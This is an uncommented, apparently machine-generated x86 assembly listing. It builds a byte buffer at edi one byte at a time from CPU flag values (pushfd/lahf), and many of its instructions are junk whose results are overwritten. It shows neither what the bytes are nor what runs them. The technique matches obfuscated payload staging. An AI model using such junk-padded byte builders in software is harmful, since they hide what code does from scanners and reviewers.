mov eax, 0xa6d71c0e
mov ecx, 0xd656f4c5
rol eax, cl
mov ecx, 0x5a2e4291
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x2bafd420
dec eax
mov edx, 0xd3cb9a4d
mov ecx, 0x8e9a164a
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x59496798
dec eax
mov edx, 0x41054184
rol edx, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x950f6f61
shl ebx, 0xa3
mov ecx, 0x53888d46
dec ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xba05a5a
mov ecx, 0x1ca3714a
rol ebx, cl
mov ebx, 0x7493424b
inc ebx
mov edx, 0x52da2461
mov ecx, 0x74853975
rol edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x63321107
rol edx, 1
mov eax, 0x2156e1a6
inc eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x52eebd0
mov ecx, 0xeba97c88
rol edx, cl
mov ebx, 0xe9c11847
mov ecx, 0xaa8eee4
shl ebx, cl
mov ebx, 0x1043c55e
dec ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x90338193
add edx, 0x1ff09c36
mov eax, 0x4b1cef75
aas
mov edx, 0xbcfa59de
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xf152b343
mov ecx, 0x21ddb50e
sal eax, cl
mov ebx, 0xf5fe334f
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x8af1e394
mov ecx, 0xb29897c6
rol edx, cl
mov ecx, 0xdaaec063
cmp ecx, 0x504fa7b9
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0xfa470e28
mov ecx, 0x91860fb0
rol edx, cl
mov edx, 0xac990f0c
rol edx, 1
mov ebx, 0x55d17f2e
cmp ebx, 0x6836b586
mov edx, 0x4ed289f1
dec edx
mov edx, 0xc1b83ae6
mov ecx, 0xfc1b1b4d
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xdb852e94
mov eax, 0x2ddabe22
add edx, eax
mov eax, 0xd3e7ecce
aaa
mov eax, 0x2f436bb5
mov ecx, 0xb9c0a15d
cmp eax, ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x6097c290
mov ecx, 0x5f167737
ror eax, cl
mov eax, 0x12f06133
dec eax
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x35d915d9
rol edx, 1
mov ecx, 0x73aa6a0a
inc ecx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x3d6fca63
inc ebx
mov ebx, 0x5703b74d
mov ecx, 0xbbb2f805
ror ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf0abb05
dec eax
mov ebx, 0x11d66a6d
mov ecx, 0x21f1f085
ror ebx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x2fb00d2d
aas
mov ecx, 0x4ebaf987
dec ecx
mov edx, 0x9c864ccb
mov ecx, 0x6961e251
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xe4e09b83
dec eax
mov ebx, 0x6f0c35f2
mov ecx, 0x7a3f38b9
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x4cc25dae
mov eax, 0xfad39ea5
sub edx, eax
mov eax, 0xb33cf975
aaa
mov ebx, 0xc728c688
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xc33b9dbb
shl eax, 1
mov edx, 0xd932d715
sub edx, 0xe683eb26
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x1e1da122
sal ebx, 1
mov ebx, 0x608c3f1c
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x3e49ace7
mov ecx, 0x3c505aa1
sal edx, cl
mov ebx, 0x4568b080
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xf6b263d8
aas
mov ebx, 0x5cd669eb
inc ebx
mov edx, 0x7062c318
mov ecx, 0xf32db717
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x58470300
mov ecx, 0xa78649f2
rol eax, cl
mov ebx, 0xf56a2039
mov ecx, 0xc755cd37
rol ebx, cl
mov ebx, 0x59d39731
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x927d150b
shl eax, 1
mov eax, 0x3eb17342
inc eax
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x3b6e033e
shl ebx, 1
mov ebx, 0x24a0f0bb
dec ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xfa1b1454
mov ecx, 0x1c2adb18
ror eax, cl
mov eax, 0x8dcd99f9
mov ecx, 0xc764e03c
ror eax, cl
mov eax, 0x8ce4af0
aas
mov edx, 0xa00b0ee4
mov ecx, 0xe3da9d87
ror edx, cl
mov edx, 0x573ab29e
sar edx, 0xec
mov eax, 0x4ca200d8
sub eax, 0x2d33aabe
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x61a1e3cd
inc ebx
mov edx, 0xa495c15d
mov ecx, 0x5c4cb22b
rol edx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xd14ddc2e
cmp edx, 0xc4027242
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd15a8430
rol edx, 1
mov eax, 0xc9678fc7
aas
mov eax, 0x8c80b7b1
rol eax, 1
mov edx, 0xc4f3467d
sub edx, 0x15b05c81
mov ebx, 0x91be4677
mov ecx, 0x907982bb
ror ebx, cl
mov ebx, 0x3a041123
mov ecx, 0x3617ba83
shl ebx, cl
mov ebx, 0x6f2b7583
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x60e7ca1b
mov ecx, 0xeea6a427
shl eax, cl
mov eax, 0xde395032
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x4d56179f
mov ecx, 0x1b716175
rol eax, cl
mov ecx, 0xe8534a7e
mov edx, 0x65902604
sub ecx, edx
mov eax, 0xb166a23f
aaa
mov ecx, 0x35543f3f
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x137c6e4f
mov ecx, 0x2a6f7529
rol ebx, cl
mov edx, 0xb403ba9f
inc edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x6c44f843
dec edx
mov eax, 0x86ae3bee
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3dc8446d
aaa
mov ebx, 0x8f9d87da
mov ecx, 0x6e74f5fc
ror ebx, cl
mov ebx, 0x3587e93
sal ebx, 0x21
mov ebx, 0x567a2e99
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xf659d111
add ecx, 0x321e9f8b
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x42a2911e
sal ebx, 0xa4
mov eax, 0xe6eea841
dec eax
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xfa1cf1c
mov ecx, 0x9c086e3b
ror ebx, cl
mov ecx, 0xc886a1af
inc ecx
mov edx, 0xe7120eaf
mov ecx, 0x569df8fd
rol edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x5f364d41
sal eax, 0xae
mov ecx, 0xc1095b00
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x67be0191
sal ebx, 1
mov edx, 0x1417ba5d
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x3c6e25c5
mov ecx, 0x77e9e13f
rol eax, cl
mov ecx, 0x45881f08
dec ecx
mov ebx, 0x323411a0
rol ebx, 1
lahf
mov byte [edi], ah
inc edi
mov edx, 0x93cc0163
mov ecx, 0x39ff67d9
ror edx, cl
mov edx, 0x31f61a84
rol edx, 1
mov eax, 0xbcc7e2a6
mov ecx, 0xce06e559
ror eax, cl
mov eax, 0x9e7b1bfb
mov ebx, 0x2498628e
sub eax, ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdcaef8fb
mov ecx, 0x2a4f9d0e
add edx, ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xf699dd21
sar edx, 0xcd
mov eax, 0xd9c3d7f0
dec eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0xdccab35a
rol edx, 1
mov ebx, 0x3b22028a
rol ebx, 1
mov ecx, 0xd8f7db00
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0xefefcb73
cmp ecx, 0x2afc3552
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xa03df323
mov ecx, 0xdd941fb2
ror eax, cl
mov ecx, 0x6eea658f
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xdf8ea78a
mov ecx, 0x33892317
sar edx, cl
mov edx, 0x59a7f72d
dec edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xbda16d5a
sar ebx, 0xb0
mov eax, 0x7fd9d3fc
inc eax
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xfc7cd196
inc ebx
mov eax, 0xd5261c58
rol eax, 1
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0xf94f76e8
cmp ecx, 0x68dc7f42
mov eax, 0x36c838fb
aaa
mov ebx, 0xc37f31f
inc ebx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x4b2f343d
inc ebx
mov eax, 0xf57db166
rol eax, 1
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xbc58dca1
mov edx, 0x31b13c50
sub ebx, edx
mov eax, 0x8437027
sub eax, 0x1ec00bf5
mov eax, 0xb467d706
mov ebx, 0x6214477c
sub eax, ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4c0a749e
mov ecx, 0xd4758df2
rol ebx, cl
mov ecx, 0x181296ca
inc ecx
mov edx, 0x976a9dac
mov ecx, 0xb1559827
rol edx, cl
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x8c464ed6
mov ecx, 0x40217c77
ror ebx, cl
mov eax, 0x8f1d0cc7
mov ecx, 0xbbf49987
shl eax, cl
mov eax, 0x18699280
dec eax
mov edx, 0xd2254d78
mov ecx, 0x861cb8c7
ror edx, cl
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x845215ef
rol eax, 1
mov ecx, 0x4baace0b
dec ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xabe502df
cmp ebx, 0x26ba77ba
mov eax, 0xf486f753
aas
mov ecx, 0x8ae363b7
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xea37ed11
rol ebx, 1
mov eax, 0xde105e65
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xeb40a6f4
add ecx, 0xda79e975
mov eax, 0xadca4d4a
aaa
mov edx, 0xed076dbf
inc edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov eax, 0x9c64da23
inc eax
mov edx, 0x1ad09fb0
mov ecx, 0x2a9365df
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x73e81fbc
inc edx
mov ebx, 0xe694d6d8
mov ecx, 0x7ae714a8
rol ebx, cl
lahf
mov byte [edi], ah
inc edi
mov eax, 0x348a23c8
sar eax, 0x69
mov edx, 0x48a8747c
rol edx, 1
mov eax, 0xdff23412
mov ecx, 0x26fdad5f
rol eax, cl
mov eax, 0x38b544c1
aas
mov eax, 0x29a27b3f
mov ecx, 0xc96d49ac
sar eax, cl
mov ecx, 0xe7dd909f
inc ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0x1267ea17
mov eax, 0x68141618
add edx, eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x70f19306
mov ecx, 0x709893d8
shl ebx, cl
mov ecx, 0x6e3caf00
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xb8e64e90
inc eax
mov ebx, 0x55c3e4cd
mov ecx, 0x7d72031f
rol ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x7558833c
sub ebx, 0xf6b1668e
lahf
mov byte [edi], ah
inc edi
mov ebx, 0xcae9a43c
mov ecx, 0x9770d718
ror ebx, cl
mov edx, 0xe4883ee3
mov ecx, 0xa82b9571
rol edx, cl
mov ebx, 0x40596021
rol ebx, 1
mov edx, 0x28f691ba
dec edx
mov eax, 0x8993b741
mov ecx, 0xde8287d7
rol eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xbbda8efe
rol edx, 1
mov eax, 0xdaea3c03
aaa
mov eax, 0x878dab2c
sal eax, 1
mov edx, 0xfa52a02e
mov ecx, 0xaedd700b
rol edx, cl
mov edx, 0x9a1f59b5
mov ecx, 0xe9be47fe
rol edx, cl
mov ebx, 0x41e946f0
dec ebx
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0xe8c94340
neg edx
mov eax, 0x59fc0901
aas
mov ebx, 0x19e87f08
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xa2c490ba
cmp edx, 0x35ad24a7
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xdf3eb1a0
mov ecx, 0xa3f9b5ab
rol eax, cl
mov eax, 0x51d826be
mov ecx, 0x38bbefc7
ror eax, cl
mov edx, 0x1fa27cad
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xe1081ed5
mov ecx, 0xc6ab8b33
ror eax, cl
mov ebx, 0x5b4b36c
dec ebx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0xd381b16f
mov ecx, 0x8c26f5d4
cmp ebx, ecx
lahf
mov byte [edi], ah
inc edi
mov ecx, 0x987bf141
dec ecx
mov edx, 0x41575347
mov ecx, 0x4ad65a6e
ror edx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x1504a3ff
sal ebx, 0x49
mov ebx, 0x3b83a334
mov ecx, 0x62321e5f
ror ebx, cl
mov eax, 0x889a603c
mov ecx, 0xe9456908
sar eax, cl
mov ebx, 0xdb1151cf
mov ecx, 0xaf382eda
ror ebx, cl
mov ebx, 0x5f5a4979
rol ebx, 1
mov ebx, 0x95d61170
dec ebx
pushfd
pop eax
mov byte [edi], al
inc edi
mov ebx, 0x3adcfa87
neg ebx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xd8049908
mov ecx, 0x8c174e24
sal ebx, cl
mov ebx, 0x4a341bd4
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x3b65d220
mov ecx, 0xcc5c4bb1
ror eax, cl
mov ebx, 0x48ca4af
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xf48981b8
mov ebx, 0xc8e8138
sub eax, ebx
mov eax, 0x42fdab38
aas
mov edx, 0x11f9e64b
inc edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x77d89085
rol eax, 1
mov ebx, 0x15a2b54b
dec ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xb6fa3e7d
mov eax, 0x44abe8a3
sub edx, eax
lahf
mov byte [edi], ah
inc edi
mov edx, 0x2f2024a9
rol edx, 1
mov ebx, 0x6f76e632
mov ecx, 0xf2115af4
rol ebx, cl
mov edx, 0xd0275ce
dec edx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xca823de1
sal ebx, 0x63
mov ebx, 0x67efff2e
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd1f565dc
shl eax, 1
mov ecx, 0x8618daf5
inc ecx
lahf
mov byte [edi], ah
inc edi
mov edx, 0xe4a98c1d
cmp edx, 0xa2e881c
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0xcdf452a0
sal eax, 1
mov eax, 0xa133d2c0
mov ecx, 0x10a2de4c
rol eax, cl
mov ebx, 0xaee0c1a5
add ebx, 0xe5991013
mov eax, 0x6d5b92fc
aas
mov ebx, 0x632b5908
mov ecx, 0x3f7a73e2
rol ebx, cl
mov edx, 0xf63a9520
dec edx
mov eax, 0x50f46ab4
mov ecx, 0x92c7f43f
ror eax, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x7b1c5fa7
mov ecx, 0xec8f76c9
rol edx, cl
mov edx, 0x2d08313f
dec edx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x1805291c
cmp edx, 0xf05ae925
mov eax, 0x58ad8f48
mov ecx, 0x71c4d86e
ror eax, cl
mov eax, 0x30decec0
dec eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xc066725c
cmp eax, 0x2fa7a901
mov eax, 0x92e44f24
aas
mov eax, 0x2d6f1b38
mov ecx, 0x784e528d
ror eax, cl
mov eax, 0x681db98
dec eax
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x505f9cb5
mov ecx, 0x90fea76e
ror edx, cl
mov ebx, 0x256283a0
inc ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xfebac8ec
mov ecx, 0xe3e5d036
ror eax, cl
mov edx, 0x1574f10c
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov ebx, 0x85e62f3c
cmp ebx, 0x47278375
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0xf41fdde1
mov ecx, 0x6bbe2e1c
ror eax, cl
mov eax, 0x17b1b480
mov ecx, 0x7a5875a9
ror eax, cl
mov edx, 0x406edd19
mov ecx, 0xbe93911
sar edx, cl
mov ebx, 0x6756606f
inc ebx
mov eax, 0xa2e2e212
mov ecx, 0x5fad1aa9
ror eax, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x520630ce
dec edx
mov edx, 0x908c940a
mov ecx, 0x31bfb47f
ror edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x65241340
mov ecx, 0x99b740bb
rol eax, cl
mov eax, 0x569ed67b
inc eax
mov ebx, 0xe38f44e
mov ecx, 0xaa9b5cc8
rol ebx, cl
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0xa34e5df8
aas
mov eax, 0x7568497d
mov ecx, 0x708bade5
ror eax, cl
mov eax, 0xd0bd27fc
aas
mov edx, 0xbdaca46b
mov ecx, 0x5f5fbb62
ror edx, cl
mov edx, 0x204bf444
mov ecx, 0x3d1af530
rol edx, cl
mov ecx, 0x27d10d0
dec ecx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ebx, 0xb23b79c1
sal ebx, 1
mov edx, 0xcc30c6ea
add edx, 0xc0a9594f
lahf
mov byte [edi], ah
inc edi
mov edx, 0x5d06f0bb
dec edx
mov eax, 0x3c7884e6
mov ecx, 0xa9db0787
ror eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov eax, 0x7953a99f
rol eax, 1
mov ecx, 0xf2f2ebf0
dec ecx
mov eax, 0xa7ec6003
mov ecx, 0x8a9ffa9a
rol eax, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov ebx, 0x2e97f60d
mov ecx, 0xa516368e
ror ebx, cl
mov ecx, 0x45b0f7e0
neg ecx
mov eax, 0xcdcd0fc
aas
mov ecx, 0x8bedb045
add ecx, 0xfa22a48c
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0xab7a3e87
mov ecx, 0x4ba58991
ror ebx, cl
mov ecx, 0xbff7b57
cmp ecx, 0xfdcc0ff1
mov eax, 0xfecb2584
mov edx, 0x86a81b44
sub eax, edx
mov eax, 0x317628fb
aaa
mov ecx, 0x38b06d4c
sub ecx, 0xf3294ad9
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0xb992a0e9
mov ecx, 0xe31ddc88
rol edx, cl
mov eax, 0xcc089520
mov ecx, 0x7dabcf7b
ror eax, cl
mov ebx, 0xf723e01f
mov ecx, 0x4852e33c
rol ebx, cl
mov ecx, 0x4d6b613c
dec ecx
mov ebx, 0x2174181a
rol ebx, 1
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x2b0c58c4
rol eax, 1
mov edx, 0x1e37c1f3
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xd4c5d811
mov ecx, 0x6f3c822e
ror eax, cl
mov ebx, 0x3273312
inc ebx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x60965ff5
mov ecx, 0x73b15856
ror eax, cl
mov edx, 0x5f0f0bf5
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x1b46cb65
cmp eax, 0x21074680
mov eax, 0xc6a35d73
aaa
mov edx, 0x4d1e3d56
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xc06415a2
mov ecx, 0x59f7ec8d
rol edx, cl
mov edx, 0x7ed07dfd
inc edx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0x57e885d2
sal eax, 1
mov edx, 0x1fd7e9cf
inc edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xe0e1f460
shl edx, 1
mov ebx, 0xba332a12
sal ebx, 1
mov edx, 0x5580b294
mov ecx, 0xe20364f9
rol edx, cl
mov eax, 0x64ce009f
inc eax
mov edx, 0xffdad4d0
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xa2df6437
shl edx, 1
mov ebx, 0xb2de5f80
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0xc4b7c22a
mov ecx, 0x3fb6242a
rol ebx, cl
mov edx, 0xffa8d040
dec edx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0xd943089d
mov ecx, 0x1bc0d03a
sub edx, ecx
mov eax, 0x5a4a2312
aaa
mov ebx, 0xe8a21703
inc ebx
lahf
mov byte [edi], ah
inc edi
mov edx, 0x35237bb9
shl edx, 1
mov ecx, 0xb347cbbf
inc ecx
mov ebx, 0x3ce3adba
mov ecx, 0xd1286e1
ror ebx, cl
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0x2c6a110d
mov ecx, 0x7a557309
rol eax, cl
mov ecx, 0xa53617c9
inc ecx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xb1df313e
shl edx, 0xa2
mov edx, 0x295660bd
dec edx
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xce3ad1c3
sub edx, 0xaaeb3410
mov eax, 0xac70bcd
aas
mov ebx, 0xd99752f9
mov ecx, 0x1c16b3e7
ror ebx, cl
mov eax, 0x9214c39c
mov ecx, 0xa4670bc9
ror eax, cl
mov ebx, 0x83d39997
mov ecx, 0x59c218bc
rol ebx, cl
mov eax, 0x6e88d5c0
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4259b96a
mov ecx, 0x86a05e9c
ror ebx, cl
mov ebx, 0x6cccad53
dec ebx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x2bbbceeb
mov ecx, 0x904af487
rol edx, cl
mov ebx, 0xdea2cf29
mov ecx, 0x326da66d
ror ebx, cl
mov eax, 0x42250b37
inc eax
mov edx, 0x3452412b
rol edx, 1
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x5e77de74
inc edx
mov edx, 0x6b132fc6
rol edx, 1
lahf
xchg al, ah
stosb byte es:[edi], al
mov edx, 0x3a686a42
inc edx
mov eax, 0x43b287c3
rol eax, 1
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x91618909
mov eax, 0xa4865564
sub ebx, eax
mov eax, 0x7ae32f31
aas
mov ecx, 0xb99bcba
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x37f849bf
mov ecx, 0x635b9f81
ror eax, cl
mov edx, 0x5441fbc7
sub edx, 0xdde69ad0
pushfd
pop eax
stosb byte es:[edi], al
mov ecx, 0xc188a43e
mov edx, 0x72144e0
add ecx, edx
pushfd
pop eax
mov byte [edi], al
inc edi
mov edx, 0x3ce17702
shl edx, 1
mov edx, 0x38ab0370
shl edx, 1
mov ebx, 0xe8614529
sar ebx, 0x6a
mov edx, 0x151a260f
inc edx
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov ebx, 0x3a7dfd32
mov ecx, 0x78d4774e
ror ebx, cl
mov ebx, 0x66b19a28
inc ebx
mov ebx, 0xd722367d
mov ecx, 0xbced142b
ror ebx, cl
pushfd
pop eax
mov byte [edi], al
inc edi
mov ecx, 0x76e85ba9
add ecx, 0x810188d2
mov eax, 0x2c3d4e65
aaa
mov eax, 0x4f39fb7d
dec eax
pushfd
pop eax
stosb byte es:[edi], al
mov edx, 0x96c16ef1
rol edx, 1
mov ebx, 0x7a549ec6
inc ebx
lahf
xchg al, ah
stosb byte es:[edi], al
mov ebx, 0x219b3154
mov ecx, 0xb938fbf1
cmp ebx, ecx
mov eax, 0x794df693
aaa
mov ecx, 0x5d49cd2b
dec ecx
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x6c8194fc
sal ebx, 0xe1
mov edx, 0x4b3a190
dec edx
mov edx, 0x83a56ba0
mov ecx, 0xd9c53e1
ror edx, cl
lahf
mov byte [edi], ah
inc edi
mov ecx, 0xcf1e392c
mov edx, 0x83ffce63
add ecx, edx
mov eax, 0xa3f64335
aas
mov eax, 0x30d0056c
inc eax
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0x49e81225
sal eax, 1
mov ecx, 0xc837566
inc ecx
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x1a8a87d9
sub edx, 0x88fb8e42
mov eax, 0xb9d7daa6
aas
mov ebx, 0x3a3a5f35
dec ebx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x541d889a
mov ecx, 0x74f44b86
ror eax, cl
mov eax, 0x43eed3dc
aaa
mov eax, 0xe0a1f646
neg eax
pushfd
pop eax
stosb byte es:[edi], al
mov ebx, 0x4caaaab3
dec ebx
mov edx, 0x8976f751
rol edx, 1
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0x926f2cc8
dec edx
mov edx, 0x4381cf5d
rol edx, 1
lahf
mov al, ah
stosb byte es:[edi], al
mov eax, 0xe1b95b4d
add eax, 0xa9fe2905
lahf
mov al, ah
stosb byte es:[edi], al
mov edx, 0x3157fda6
mov ecx, 0xfad62832
rol edx, cl
mov ecx, 0xf44f359f
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x600c8638
mov ecx, 0x8f3f418c
rol eax, cl
mov eax, 0x70f82011
dec eax
lahf
mov byte [edi], ah
inc edi
mov eax, 0x495dabd2
mov ecx, 0xf73449fb
ror eax, cl
mov ebx, 0x81a6a630
mov ecx, 0x2f011994
sar ebx, cl
mov ecx, 0x1f7ea09c
inc ecx
pushfd
pop edx
mov byte [edi], dl
inc edi
mov edx, 0x85ec9fef
mov ecx, 0x209f2573
ror edx, cl
mov ecx, 0x5d5074cf
inc ecx
lahf
mov byte [edi], ah
inc edi
mov eax, 0xca63600
dec eax
mov edx, 0x4d321290
mov ecx, 0x13d0b65
rol edx, cl
pushfd
pop ebx
mov byte [edi], bl
inc edi
mov edx, 0xda73dd7a
mov ebx, 0x3d30e3d0
cmp edx, ebx
mov eax, 0xe8ec3aa5
mov ecx, 0x2f9f2749
rol eax, cl
mov ebx, 0x9dba60e5
mov ecx, 0x9ee5e642
shl ebx, cl
mov eax, 0x840bf677
mov ecx, 0xd7da95c7
shl eax, cl
mov ecx, 0x41f504af
inc ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x61e2f560
inc eax
mov edx, 0x79cfa64b
mov ecx, 0xba2e59a6
rol edx, cl
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov eax, 0xfdf4a278
mov ecx, 0xd3c784a6
ror eax, cl
mov ebx, 0x5607222
inc ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x9ddbbdf5
rol ebx, 1
mov ebx, 0x8654d4d2
mov eax, 0xf9fdfb88
sub ebx, eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov ebx, 0x3c6d401
add ebx, 0x1f87c4b9
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x787fcbfc
mov ecx, 0xc59e5f76
rol eax, cl
mov ebx, 0xed67f32c
mov eax, 0xa714ff20
add ebx, eax
mov ebx, 0x1cd3a7cf
mov ecx, 0xb6c24f1e
ror ebx, cl
mov ebx, 0xf62c7728
mov ecx, 0x68f5c97a
cmp ebx, ecx
pushfd
pop eax
stosb byte es:[edi], al
mov eax, 0x48cfc394
mov ecx, 0x652e5465
ror eax, cl
mov edx, 0xa63ae166
dec edx
lahf
mov byte [edi], ah
inc edi
mov eax, 0x80f4894c
aas
mov ebx, 0x895435a3
sub ebx, 0x40fd3571
mov edx, 0x4132241
mov ecx, 0xb302ca96
rol edx, cl
mov ebx, 0xda628073
cmp ebx, 0x7f3c7aa
pushfd
pop ecx
mov byte [edi], cl
inc edi
mov edx, 0x826b00bc
rol edx, 1
mov ebx, 0xd3e33664
rol ebx, 1
mov ebx, 0xcb3f7986
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov edx, 0xe33748ec
mov ecx, 0xc8368b3f
rol edx, cl
mov eax, 0x22f2d0f
dec eax
pushfd
pop edx
mov byte [edi], dl
inc edi
mov eax, 0xe47dded3
shl eax, 1
mov edx, 0x30be3008
inc edx
lahf
xchg ah, al
stosb byte es:[edi], al
mov ecx, 0x5fb3a022
mov eax, 0x79701f3d
add ecx, eax
mov eax, 0x122bbd70
aas
mov ebx, 0x94464397
inc ebx
lahf
xchg ah, al
stosb byte es:[edi], al
mov eax, 0x1ea0221a
aas
mov ebx, 0xdc1b983d
rol ebx, 1
mov ebx, 0xd63d7ec0
dec ebx
lahf
mov byte [edi], ah
inc edi
mov ebx, 0x592c8788
mov ecx, 0x38dff7ea
ror ebx, cl
